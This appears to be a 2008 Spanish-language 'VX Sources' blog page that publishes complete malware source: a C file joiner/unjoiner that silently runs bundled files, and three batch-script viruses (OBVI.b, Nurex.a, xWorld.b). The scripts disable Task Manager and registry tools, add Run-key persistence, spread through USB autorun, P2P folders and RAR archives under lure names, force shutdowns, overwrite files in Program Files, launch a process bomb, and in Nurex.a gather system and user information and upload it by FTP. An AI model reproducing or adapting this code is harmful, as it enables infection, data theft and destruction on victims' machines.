  fputc((char)0x01, j);
 fclose(j);
 chmod("out", ALLPERMS);/*le ponemos los permisos... (ALLPERMS xD)*/
 return 0;
}

unjoiner:

Código
/*unjoiner 01 julio 2008
by Ni0
ni0@el-hacker.org*/
/*
   This program is free software: you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation, either version 3 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program.  If not, see .
*/
/*a este codigo le falta el joiner, se compilan por separado pero se necesitan los 2 ejecutables, y tienen que estar en la misma carpeta

el unjoiner tiene que estar con el nombre "unjoiner" SI o Si (exepto que cambien el codigo del joiner xD)*/

#include stdio.h  /*ponganle los simbolos de mayor y menor...
o sino descargan el archivo y listo xD*/
#include string.h
#include stdlib.h
#include sys/stat.h
#include unistd.h

int main(int argc, char **argv)
{
 FILE *u, *f;
 unsigned long size = 0, n = 0, pos = 0, posf = 0;/*size para saber el tamaño total y de los archivos independientes, n para manejarse entre las cadenas, pos para saber la posicion en la que estamos del archivo y posf para saber la posicion final, hasta donde tenemos que llegar*/

 char t[301], exe, exef[320], _exef[320], *barra, *barraa, cwd[320];/*t es el nombre del archivo que estamos trabajando
 exe es si se ejecuta o no el primer archivo, exef es el archivo a ejecutar (en caso de que exe sea 1), _exef es el comando que se va a usar con system para ejecutar el archivo, barra indica la barra '/' del nombre de un archivo, barraa indica la barra '/' anterior a "barra" xD y cwd es el CurrentWorkDirectory, para saber donde estamos trabajando*/
 unsigned char c; 

 u = fopen(argv[0], "rb");/*nos abrimos a nosotros mismos*/
 if(u == NULL){
  printf("\n\tERROR: no se pudo abrirse el archivo %s\n", argv[0]);
  return 1;
 }
 exef[0] = 0;
 fseek(u, -5, SEEK_END);/*volvemos 5 bytes para atras desde el final*/
 fgetpos(u, &posf);/*obtenemos la posicion final*/
 size += fgetc(u);/*byte 1*/
 size += fgetc(u) * 0x100;/*byte 2*/
 size += fgetc(u) * 0x10000;/*byte 3*/
 size += fgetc(u) * 0x1000000;/*byte 4*/
 /*fijense que se leyo de la misma forma que se escribio :P */
 exe = fgetc(u);/*byte 5, indica si se ejecuta o no*/
 fseek(u, size * (-1) - 5, SEEK_END);/*tenemos que retroceder los 5 bytes de antes MAS el tamaño total de todo lo que agregamos, pero como es para ATRAS tiene que estar en negativo*/
   getcwd(cwd, 320);/*obtenemos el directorio*/
 while(posf != pos){ /*mientras que no estemos en la posicion final...(osea, se acabaron los archivos)*/
  memset(t, 0, 301);/*pongo en 0 a t*/
  barraa = barra = t - 1;/*ponemos que apunten a t - 1, ya van a ver*/
  /*leemos el tamaño de un archivo*/
  size = 0;
  size += fgetc(u);
  size += fgetc(u) * 0x100;
  size += fgetc(u) * 0x10000;
  size += fgetc(u) * 0x1000000;
  n = 0;
  while((t[n] = fgetc(u)) != 0)/*leemos el nombre hasta que haya un caracter 0*/
   n++;
  if(exe == 1){/*si hay que ejecutar, copiamos t a exef y ponemos en 0 a exe para que no vuelva a hacer esto cuando venga el otro archivo xD*/
   strcpy(exef, t);
   exe = 0;
  }
  while((barra = strchr(barra + 1, '/')) != NULL){/*tenemos que crear los directorios antes de crear el archivo, entonces buscamos las barras /, barra apuntaba a t - 1, barra + 1 apunta a t :P  */
   *barra = 0;/*ponemos en 0 la barra, para que parezca que solo tengamos el directorio*/
   mkdir(barraa + 1, ALLPERMS);/*creamos el directorio con todos los permisos y nos ponemos ahi, por si hay sub direcotios dentro de este, barraa apuntaba a t - 1*/
   chdir(barraa + 1);
   barraa = barra;/*ponemos donde estaba la barra anterior*/
   /*cuando vuelva a ejecutar, barra + 1 indica donde estaba la barra + 1 poscision, sino apuntaria al 0, entonces ahora busca una barra en el resto del nombre si la encuentra crea el directorio usando barraa  + 1, osea la barra anterio (ahora 0) mas una posicion para que no apunte al 0
   esa es la razon por la que apuntan a t - 1*/
  }
  chdir(cwd);/*volvemos a donde estabamos :P */
  while(t[strlen(t) + 1] != 0)/*t[strlen(t)] apunta al caracter 0 final, strlen(t) - 1 apuntaria al ultimo caracter antes del 0, strlen(t) + 1 apunta al siguiente caracter despues del 0, si no es 0, es porque habia una '/'...*/
   t[strlen(t)] = '/';
  f = fopen(t, "wb");
  if(f == NULL){
   printf("\n\tERROR: no se pudo crear el archivo\n el archivo %s no se pudo crear\n", t);
   return 1;
  }
  while(size != 0){/*ponemos el archivo hasta que se acaben los bytes del tamaño*/
   c = fgetc(u);
   if(c == 0)
    fputc(0xFF, f);
   else
    fputc(c - 1, f);
   size--;
  }
  fclose(f);
  chmod(t, ALLPERMS);/*al archivo le ponemos todos los permisos*/
  fgetpos(u, &pos);
 }
 fclose(u);
 if(exef[0] != 0){
  barra = barraa = exef - 1;
  while((barra = strchr(barra + 1, '/')) != NULL){/*hacemos lo mismo que antes para saber los subdirectorios pero no los creamos, sino que nos posicionamos*/
   *barra = 0;
   chdir(barraa + 1);
   barraa = barra;
  }
  strcpy(_exef, "./\"");
  strcat(_exef, barraa + 1);
  strcat(_exef, "\"");
  system(_exef);/*y ejecutamos el archivo, barraa + 1 para que solo sea el nombre del archivo, sino apuntaria tambien a la ruta y yo quiero que se ejecute desde la carpeta en la que esta*/
 }
 return 0;
}

cualquier duda solo pregunten… o cualquier problema que tienen

salu2!

OBVI.b

Publicado en VX Sources el Julio 12, 2008 por lShadowl

@echo off
rem ----------------------------------------------------------------------
rem OBVI.b ================= ......... 25/11/07
rem well it is a poliformic .bat file virus ... mmmmm is like another virus life form ... do not infect anything
rem only have fun with the victim xD ....
rem ...well nothing special but i think is really nice to see a poliformic batch script virus
rem enjoy!
rem OBVI (Oligomorphic Batch VIrus)
echo ============================================
echo |OBVI by Shadow (The Shadow) whatever way |
echo ============================================
set a="%windir%\prntcrlt.bat"
if exist %a% goto code
echo set shell = CreateObject("wscript.shell") > %windir%\run.vbs
echo shell.run "cmd /c prntcrlt.bat", vbHide >> %windir%\run.vbs
copy %0 %a%
:qep
set hor=%time:~0,2%
set tim=%time:~3%
set tim=%tim:~0,2%
set /A tim=%tim% + 5
if /I %tim% geq 60 (set /a hor=%hor%+1
set /a tim=%tim%-60
if /I %tim% lss 10 (set tim=0%tim%))
set ecx=%hor%:%tim%
at %ecx% "%windir%\run.vbs"
exit
:crea
echo 0 > vals.tk
echo 1 >> vals.tk
echo 2 >> vals.tk
echo 3 >> vals.tk
echo 4 >> vals.tk
echo 5 >> vals.tk
echo 6 >> vals.tk
echo 7 >> vals.tk
echo 8 >> vals.tk
echo 9 >> vals.tk
echo A >> vals.tk
echo B >> vals.tk
echo C >> vals.tk
echo D >> vals.tk
echo E >> vals.tk
echo F >> vals.tk
goto for
:modulcrea
set tar=%tar:~,1%
if /I %tar% leq 9 ( if %tar% == 9 ( set tar2=A
goto klop )
set /A tar2=%tar%+1 ) else ( if %tar% == A set tar2=B
if %tar% == B set tar2=C
if %tar% == C set tar2=D
if %tar% == D set tar2=E
if %tar% == E set tar2=F )
:klop
echo :modul%tar% ¿mol%tar%¿ >> modul.tk
if %tar%==0 ( echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
echo goto ¿1_jk ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==1 ( echo :_jk ¿mol%tar%¿ >> modul.tk
echo copy "¿windir¿\kpore.bat" "¿windir¿\k0.bat" ¿mol%tar%¿ >> modul.tk
echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate /d "%windir%\k0.vbs" /f ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==2 ( echo echo set shell = CreateObject¡"wscript.shell"$ ^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
echo echo shell.run "cmd /c k0.bat ini", vbHide ^>^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
echo echo Set fg = CreateObject¡"WMPlayer.OCX.7"$ ^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo Set fgh = fg.cdromCollection ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo if fgh.Count then ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo For i = 0 to fgh.Count-1 ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo fgh.Item¡i$.Eject ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo Next ' cdrom ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo End If ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==3 ( echo :ini_jk ¿mol%tar%¿ >> modul.tk
echo start conf.vbs ¿mol%tar%¿ >> modul.tk
echo set hor=¿time:~0,2¿ ¿mol%tar%¿ >> modul.tk
echo set tim=¿time:~3¿ ¿mol%tar%¿ >> modul.tk
echo set tim=¿tim:~0,2¿ ¿mol%tar%¿ >> modul.tk
echo set /A tim=¿tim¿+1 ¿mol%tar%¿ >> modul.tk
echo if /I ¿tim¿ geq 60 ¡set /a hor=¿hor¿+1 ¿mol%tar%¿ >> modul.tk
echo set /a tim=¿tim¿-60 ¿mol%tar%¿ >> modul.tk
echo if /I ¿tim¿ lss 10 ¡set tim=0¿tim¿$$ ¿mol%tar%¿ >> modul.tk
echo set ecx=¿hor:~0,2¿:¿tim¿ ¿mol%tar%¿ >> modul.tk
echo at ¿ecx¿ "¿windir¿\k0.vbs" ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==4 ( echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
echo dir /B ^> ¿homedrive¿\dir.txt ¿mol%tar%¿ >> modul.tk
echo goto for ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==5 ( echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate2 /d "shutdown -r -f -t 2423" /f ¿mol%tar%¿ >> modul.tk
echo shutdown -r -f -t 242 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==6 ( echo shutdown -r -f -t 12 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==7 ( echo :worm ¿mol%tar%¿ >> modul.tk
echo set target=¿1 ¿mol%tar%¿ >> modul.tk
echo cd "¿target¿" ¿mol%tar%¿ >> modul.tk
echo for ¿¿e in ¡*.*$ do echo Exworm by Shadow ^> ¿¿e ¿mol%tar%¿ >> modul.tk
echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
echo goto :EOF ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==8 ( echo shutdown -r -f -t 43 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==9 ( echo :ERRNO ¿mol%tar%¿ >> modul.tk
echo for /f "tokens=* " ¿¿a in ¡¿homedir¿\dir.txt$ do call :worm "¿¿a" ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==A ( echo shutdown -s -f -t 53 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==B ( echo shutdown -s -f -t 22 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==C ( echo shutdown -r -f -t 11 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==D ( echo shutdown -r -f -t 666 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==E ( echo shutdown -s -f -t 23 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==F ( echo exit ¿mol%tar%¿ >> modul.tk
goto :EOF )
:for
for /f "tokens=*" %%a in (vals.tk) do (set tar=%%a && call :modulcrea)
:sig
echo set shell = CreateObject("Scripting.FileSystemObject") > rep.vbs
echo set file = shell.OpenTextFile("modul.tk") >> rep.vbs
echo read = file.ReadAll >> rep.vbs
echo repla = replace(read,"¿",chr(37)) >> rep.vbs
echo repla1 = replace(repla,"¡",chr(40)) >> rep.vbs
echo repla2 = replace(repla1,"$",chr(41)) >> rep.vbs
echo set b=shell.CreateTextFile("module.tk") >> rep.vbs
echo b.close >> rep.vbs
echo set d=shell.OpenTextFile("module.tk",2) >> rep.vbs
echo d.write repla2 >> rep.vbs
echo d.close >> rep.vbs
start rep.vbs
:code
if not exist module.tk goto crea
echo set shell = CreateObject("wscript.shell") > run2.vbs
echo shell.run "cmd /c kpore.bat", vbHide >> run2.vbs
ping -n 7 localhost > nul
set fail=module.tk
set vir=kpore.bat
echo @echo off > %vir%
set a=%time:~,5%
set b=%a:~3,2%
del modul.tk vals.tk rep.vbs
if /I %b% geq 0 (if /I %b% lss 10 goto a)
if /I %b% geq 10 (if /I %b% lss 20 goto b)
if /I %b% geq 20 (if /I %b% lss 30 goto c)
if /I %b% geq 30 (if /I %b% lss 40 goto d)
if /I %b% geq 40 (if /I %b% lss 50 goto e)
if /I %b% geq 50 (if /I %b% lss 60 goto f)
goto crea
:a
find "mol0" >%vir%
find "mol1" >%vir%
find "mol2" >%vir%
find "mol3" >%vir%
find "mol5" >%vir%
find "mol6" >%vir%
find "mol8" >%vir%
find "molA" >%vir%
find "molB" >%vir%
find "molD" >%vir%
find "molE" >%vir%
find "molF" >%vir%
find "mol4" >%vir%
find "mol7" >%vir%
find "mol9" >%vir%
find "molC" >%vir%
start run2.vbs
goto qep
:b
find "mol4" >%vir%
find "mol7" >%vir%
find "mol9" >%vir%
find "mol6" >%vir%
find "mol5" >%vir%
find "molF" >%vir%
find "mol3" >%vir%
find "mol2" >%vir%
find "mol1" >%vir%
find "mol0" >%vir%
find "mol7" >%vir%
find "mol8" >%vir%
find "molD" >%vir%
find "molA" >%vir%
find "molB" >%vir%
find "molC" >%vir%
start run2.vbs
goto qep
:C
find "molB" >%vir%
find "mol5" >%vir%
find "mol6" >%vir%
find "mol4" >%vir%
find "mol2" >%vir%
find "mol1" >%vir%
find "molA" >%vir%
find "molC" >%vir%
find "mol8" >%vir%
find "mol9" >%vir%
find "molF" >%vir%
find "molD" >%vir%
find "molE" >%vir%
find "mol7" >%vir%
find "mol0" >%vir%
find "mol3" >%vir%
start run2.vbs
goto qep
:d
find "molF" >%vir%
find "molE" >%vir%
find "mol1" >%vir%
find "mol2" >%vir%
find "mol3" >%vir%
find "mol4" >%vir%
find "molA" >%vir%
find "molB" >%vir%
find "molC" >%vir%
find "molD" >%vir%
find "mol9" >%vir%
find "mol0" >%vir%
find "mol5" >%vir%
find "mol6" >%vir%
find "mol7" >%vir%
find "mol8" >%vir%
start run2.vbs
goto qep
:e
find "mol8" >%vir%
find "mol0" >%vir%
find "mol3" >%vir%
find "mol2" >%vir%
find "mol5" >%vir%
find "molB" >%vir%
find "mol1" >%vir%
find "mol7" >%vir%
find "mol6" >%vir%
find "molC" >%vir%
find "mol9" >%vir%
find "molE" >%vir%
find "molF" >%vir%
find "mol4" >%vir%
find "molA" >%vir%
find "molD" >%vir%
start run2.vbs
goto qep
:f
find "mol5" >%vir%
find "mol1" >%vir%
find "mol4" >%vir%
find "mol6" >%vir%
find "mol2" >%vir%
find "mol9" >%vir%
find "mol3" >%vir%
find "mol7" >%vir%
find "mol8" >%vir%
find "mol0" >%vir%
find "molE" >%vir%
find "molF" >%vir%
find "molC" >%vir%
find "molD" >%vir%
find "molA" >%vir%
find "molB" >%vir%
start run2.vbs
goto qep

Nurex.a

Publicado en VX Sources el Julio 12, 2008 por lShadowl

@echo off
rem ----------------------------------------------------------------------------------------------
rem NUREX.a ================= ......... 19/12/07
rem this is a parasitic virus-spyware .bat file
rem some features:
rem -p2p propagation
rem -look for winrar and if exist, infect all .rar files inside p2p clients installed in the host, make copies of itself and add it in .rar archives, then after 10th infection will be more than 150 infected files in each p2p client!.. xD .. and if winrar doesn't exist ... infect the p2p clients with .bat copies of itself
rem -try to connect to a ftp server and if connect, send info about the victim (username, pass and server are censured in the code)
rem -make 9999999 procesess that in 10 minutes will make a chaos
rem -only batch script coding!
rem -work with modules. do not depend of one main process.. then if one process fail others can continue independly
rem .... well .. why nurex?...:i think is nice xD ...
echo ============================================
echo ^|NUREX by Shadow (The Shadow) whatever way ^|
echo ============================================
if '%1==' (
type %0 > pnc.bat
start /min pnc.bat v0
exit
) else (
goto %1
exit
)
:v0
copy %0 %windir%\pnc.bat
copy %0 %temp%\pnc.bat
find "tine"t.t
find /v "find "t.bat
find "mv1"v1.t
find /v "find "v1.bat
start /min v1.bat
exit
:v1
goto v1_%2
:v1_si
copy *.bat %windir%\
set l="HKLM\software\microsoft\windows\currentversion\policies\explorer\run"
reg add %l% /V "RunDll23, AVUpdate" /d "%windir%\pnc.bat" /f
reg add "hkcu\software\microsoft\windows\currentversion\policies\system" /v disabletaskmgr /t reg_dword /d "1" /f
reg add "hkcu\software\microsoft\windows\currentversion\policies\system" /v disableregistrytools /t reg_dword /d "1" /f
cd %windir%
start /min %windir%\pnc.bat conf
echo puedo=si > %windir%\%userdomain%_dat.dat
find "mv2"%windir%\v2.t
find /v "find "v2.bat
start /min v2.bat %0
exit
:v1_no
copy *.bat %temp%\
set l="HKLM\software\microsoft\windows\currentversion\policies\explorer\run"
reg add %l% /V "RunDll23, AVUpdate" /d "%temp%\pnc.bat" /f
cd %temp%
start /min %temp%\pnc.bat conf
echo puedo=no > %temp%\%userdomain%_dat.dat
find "mv3"%temp%\v3.t
find /v "find "v3.bat
start /min v3.bat %0
:v1_
exit
:v2
cd %windir%
find "fttpc"ftpc.t
find /v "find "ftpc.bat
find "rdst"rd.t
find /v "find "rd.bat
find "rmcller"rm.t
find /v "find "rm.bat
goto v2_%2
:v2_0
echo rar=si >> %windir%\%userdomain%_dat.dat
find "mv3"%windir%\v3.t
find /v "find "v3.bat
start /min v3.bat %windir% pnc.bat %0
start /min rm.bat
exit
:v2_1
echo rar=no >> %windir%\%userdomain%_dat.dat
find "mv3"%windir%\v3.t
find /v "find "v3.bat
start /min v3.bat %windir% pnc.bat %0
start /min rm.bat
:v2_
exit
:v3
goto v3_%2
v3_si
find "mv4"%1\v4.t
find /v "find "v4.bat
start /min %1\v4.bat %1
:v3_no
:v3_
exit
:conf
echo.>imhere.dat
exit
rem ------------------------------------------------------M O D U L E S-------------------------------------
@echo off %mv1%
copy %0 %windir%\ %mv1%
if %errorlevel%==0 ( %mv1%
start /min %windir%\pnc.bat v1 si %mv1%
exit %mv1%
) else ( %mv1%
start /min %temp%\pnc.bat v1 no %mv1%
exit %mv1%
) %mv1%
@echo off %mv2%
set param1=%1 %mv2%
type %0>op.bat %mv2%
set o="%systemdrive%%~p0op.bat" %mv2%
set om="%windir%\pnc.bat" %mv2%
cd "%systemdrive%%~p0" %mv2%
set rnyon=%random% %mv2%
echo eMule\Incoming\ > %windir%\yer.t %mv2%
echo Shareaza\Downloads\ >> %windir%\yer.t %mv2%
echo BearShare\Shared\ >> %windir%\yer.t %mv2%
echo EDONKEY2000\incoming\ >> %windir%\yer.t %mv2%
echo LimeWire\Shared\ >> %windir%\yer.t %mv2%
echo Path_msn_Emoticonos_%rnyon: =% > %windir%\jer.t %mv2%
echo sms_gratis_%rnyon: =% >> %windir%\jer.t %mv2%
echo polifonicos_free_%rnyon: =% >> %windir%\jer.t %mv2%
echo Microsoft_Office_2007_serials_%rnyon: =% >> %windir%\jer.t %mv2%
echo Windows_Vista_activation_tool_%rnyon: =% >> %windir%\jer.t %mv2%
echo Windows_Vista_all_serials_%rnyon: =% >> %windir%\jer.t %mv2%
echo MSN_hack_codes_%rnyon: =% >> %windir%\jer.t %mv2%
set rc=1 %mv2%
set r="%programfiles%\WINRAR\WinRAR.exe" %mv2%
%r% a %windir%\t.rar %o% %mv2%
if not %errorlevel%==9009 set rc=0 %mv2%
if exist %param1%\conf.dat ( %mv2%
start /min %windir%\pnc.bat v2 %rc% %mv2%
) else ( %mv2%
start /min %param1% v2 %rc% %mv2%
) %mv2%
goto fr %mv2%
:fr2 %mv2%
set uno=%1 %mv2%
for /F "tokens=* delims=" %%g in (%windir%\jer.t) do ( %mv2%
if %rc%==0 ( %mv2%
@copy /y %om% "%%g.bat" %mv2%
cls %mv2%
ping -n 2 localhost > nul %mv2%
%r% a "%%g.rar" "%%g.bat" %mv2%
) %mv2%
) %mv2%
goto :EOF %mv2%
:fr %mv2%
for /F "tokens=* delims=" %%a in (%windir%\yer.t) do ( %mv2%
if exist "%programfiles%\%%a" ( %mv2%
cd "%programfiles%\%%a" %mv2%
for %%e in (*.rar) do ( %mv2%
@copy /y %om% "%%~ne.bat" %mv2%
cls %mv2%
ping -n 2 localhost > nul %mv2%
%r% a "%%e" "%%~ne.bat" %mv2%
) %mv2%
call :fr2 %%a %mv2%
) %mv2%
) %mv2%
cd %windir% %mv2%
del *.t %mv2%
cd "%systemdrive%%~p0" %mv2%
del op.bat %mv2%
exit %mv2%
@echo off %mv3%
set param=%1 %mv3%
set param1=%param: =% %mv3%
set param2=%2 %mv3%
set param3=%3 %mv3%
cd %param1% %mv3%
ping -n 10 localhost > nul %mv3%
start /min t.bat %param1: =%\ftpc.bat %param1: =% 1 %mv3%
echo %userdomain% puede recivir ordenes > ftd.dat %mv3%
echo Ip info: >> ftd.dat %mv3%
%ipconfig% /all >> ftd.dat %mv3%
echo ****** > ft.dat %mv3%
echo ****** >> ft.dat %mv3%
echo binary >> ft.dat %mv3%
echo put %param1%\ftd.dat %userdomain%_conf.txt >> ft.dat %mv3%
echo disconnect >> ft.dat %mv3%
echo bye >> ft.dat %mv3%
echo ftp -s:%param1%\ft.dat ********** %mv3%
echo ******> %param1%\ft.dat %mv3%
echo ****** >> ft.dat %mv3%
echo binary >> ft.dat %mv3%
echo get %userdomain%_conf.txt %param1%\ftp_si.dat >> ft.dat %mv3%
echo disconnect >> ft.dat %mv3%
echo bye >> ft.dat %mv3%
echo ftp -s:ft.dat ************ %mv3%
exit %mv3%
@echo off %mv4%
cd %1 %mv4%
echo %username%>usrnm.000 %mv4%
systeminfo>ssinfo.000 %mv4%
set>set.000 %mv4%
net user>net.000 %mv4%
echo %os%>os.000 %mv4%
cd %programfiles% %mv4%
dir>progfile.000 %mv4%
cd "%userprofile%\mis documentos\" %mv4%
dir /s>docs.000 %mv4%
ipconfig>ip.000 %mv4%
cd\ %mv4%
dir /s>archs.000 %mv4%
set log=%userdomain%_ %mv4%
set user=****** %mv4%
set pass=****** %mv4%
echo %user%>ftp.000 %mv4%
echo %pass%>>ftp.000 %mv4%
echo binary>>ftp.000 %mv4%
echo put usrnm.000 %log%usrnm.log>>ftp.000 %mv4%
echo put os.000 %log%os.log>>ftp.000 %mv4%
echo put progfile.000 %log%progfile.log>>ftp.000 %mv4%
echo put docs.000 %log%docs.log>>ftp.000 %mv4%
echo put set.000 %log%set.log>>ftp.000 %mv4%
echo put net.000 %log%net.log>>ftp.000 %mv4%
echo put ssinfo.000 %log%ssinfo.log>>ftp.000 %mv4%
echo disconnect>>ftp.000 %mv4%
echo bye>>ftp.000 %mv4%
ftp -s:%windir%\ftp.000 ************* %mv4%
@echo off %tine%
set param1=%1 %tine%
set param2=%2 %tine%
set param3=%3 %tine%
set param4=%4 %tine%
set hor=%time:~0,2% %tine%
set tim=%time:~3% %tine%
set tim=%tim:~0,2% %tine%
set /A tim=%tim% + %param3: =% %tine%
if /I %tim% geq 60 (set /a hor=%hor%+1 %tine%
set /a tim=%tim%-60 %tine%
if /I %tim% lss 10 (set tim=0%tim%)) %tine%
set ecx=%hor%:%tim% %tine%
at %ecx: =% %param1: =% %param2: =% %param3: =% %param4: =% %tine%
exit %tine%
@echo off %fttpc%
set param=%1 %fttpc%
set param1=%param: =% %fttpc%
cd %param1% %fttpc%
if exist ftp_si.dat ( %fttpc%
start /min pnc.bat v3 si %fttpc%
exit %fttpc%
) %fttpc%
start /min pnc.bat v3 no %fttpc%
exit %fttpc%
@echo off %rdst%
cd\ && dir /s %rdst%
@echo off %rmcller%
for /l %%v in (0, 1, 9999999) do start /min t.bat %windir%\rd.bat no 10 %rmcller%

xWorld.b

Publicado en VX Sources el Julio 12, 2008 por lShadowl

:: Nombre: xWorld
:: Version: b
:: Codeado por: Shadow; tshadow; The Shadow
:: Fecha: 14/04/08
:: Info: Worm de propagacion por USB, P2P y .rar . . .
:: Payload: El payload es aleatorio y al ejecutarse daña todos los archivos
:: del directorio ^%programfiles^%
@echo off
goto %1_
:_
set a="%temp%\xw.bat"
echo set shell = CreateObject("wscript.shell") > "%temp%\xwr.vbs"
echo shell.run "cmd /c %a% xc", vbHide >> "%temp%\xwr.vbs"
copy %0 %a%>nul
start "%temp%\xwr.vbs"

:x c_
for %%v IN (D F G H I J K L M N O P Q R S T U V W X Y Z) do call :cmp %%v
call :p2p
if /I %random:~1,1% lss 5 goto wrm
exit

:cmp
if exist "%1:" (
copy %a% "%1:\xw.bat">nul
echo [autorun] > "%1:\autorun.inf"
echo open=xw.bat >> "%1:\autorun.inf"
echo shellexecute=xw.bat >> "%1:\autorun.inf"
echo shellexecute=xw.bat >> "%1:\autorun.inf"
echo shell\explorar\command=xw.bat >> "%1:\autorun.inf"
echo shell\explorar=^&Explorar >> "%1:\autorun.inf"
)
goto :EOF

:wrm

cd "%programfiles%"
dir /B > %homedrive%\dir.txt
goto for

:worm
set target=%1
cd "%target%"
for %%e in (*.*) do echo xWorld by Shadow>%%e
cd "%programfiles%"
goto :EOF

:for
for /f "tokens=* " %%a in (%homedrive%\dir.txt) do call :worm "%%a"
exit

:p2p
set a="%temp%\xw.bat"
if exist %windir%\t.rar (del %windir%\t.rar)
type %0>op.bat
set o="%systemdrive%%~p0op.bat"
cd "%systemdrive%%~p0"
echo eMule\Incoming\ > %windir%\yer.t
echo Shareaza\Downloads\ >> %windir%\yer.t
echo BearShare\Shared\ >> %windir%\yer.t
echo EDONKEY2000\incoming\ >> %windir%\yer.t
echo LimeWire\Shared\ >> %windir%\yer.t
echo Path_msn_Emoticonos > %windir%\jer.t
echo sms_gratis >> %windir%\jer.t
echo polifonicos_free >> %windir%\jer.t
echo Microsoft_Office_2007_all_serials >> %windir%\jer.t
echo Windows_Vista_activation_tool >> %windir%\jer.t
echo Windows_Vista_all_serials >> %windir%\jer.t
echo MSN_hack_codes >> %windir%\jer.t
set rc=1
set r="%programfiles%\WINRAR\WinRAR.exe"
%r% a %windir%\t.rar %o%
if not %errorlevel%==9009 set rc=0
goto fr
:fr2
set uno=%1
for /F "tokens=* delims=" %%g in (%windir%\jer.t) do (
if %rc%==0 (
@copy /y %o% "%%g.bat"
cls
ping -n 2 localhost > nul
%r% a "%%g.rar" "%%g.bat"
)
)
goto :EOF
:fr
for /F "tokens=* delims=" %%a in (%windir%\yer.t) do (
if exist "%programfiles%\%%a" (
cd "%programfiles%\%%a"
for %%e in (*.rar) do (
@copy /y %o% "%%~ne.bat"
cls
ping -n 2 localhost > nul
%r% a "%%e" "%%~ne.bat"
)
call :fr2 %%a
)
)
pause
cd %windir%
del *.t
cd "%systemdrive%%~p0"
del op.bat
goto :EOF